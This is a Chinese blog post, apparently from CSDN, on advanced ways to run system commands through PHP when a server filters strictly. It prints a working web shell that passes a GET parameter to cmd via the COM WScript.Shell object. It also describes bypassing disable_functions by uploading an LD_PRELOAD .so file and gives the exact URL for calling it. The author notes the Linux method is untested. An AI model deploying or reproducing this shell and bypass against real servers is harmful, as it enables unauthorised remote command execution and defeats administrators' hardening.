PHP中命令执行的几种姿势总结(二)-高级用法

上一篇文章中介绍了php命令执行的几种姿势的基础用法 ,除了基础用法之外,还有几种高级用法可以考虑,在服务端过滤严格、安全措施较高的情况下,有时可以派上大用场。

1、com组件的使用

在php5.4及以上的版本中,可以开启com组件,直接执行某些cmd命令行,如在在php.ini文件中,开启extension=php_com_dotnet.dll,如图,

查看phpinfo,该组件是否开启 

 直接调用com组件,执行相关命令,shellcode,如下,

<?php 
	$command = $_GET['cmd'];
	$wsh = new COM("WScript.shell");
	$exec = $wsh->exec("cmd /c ".$command);
	$stdout = $exec->StdOut();
	$stroutput = $stdout->ReadAll();
	echo $stroutput;
?>

执行ping 127.0.0.1 如图,

2、Linux 动态库的使用

 对于linux系统,需要加载动态库so文件,详见github:GitHub - yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/

 站在巨人的肩膀上,就不再分析具体的细节过程了,将项目中的so文件直接拿来使用,将php shell 文件和so文件都上传到服务器下同一个目录后,访问如下url:

http://x.x.x.x/bypass_disablefunc.php?cmd=id&outpath=/var/www/html/xxx&sopath=/var/www/html/bypass_disablefunc_x64.so

没来得及实践,后面动手补上

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值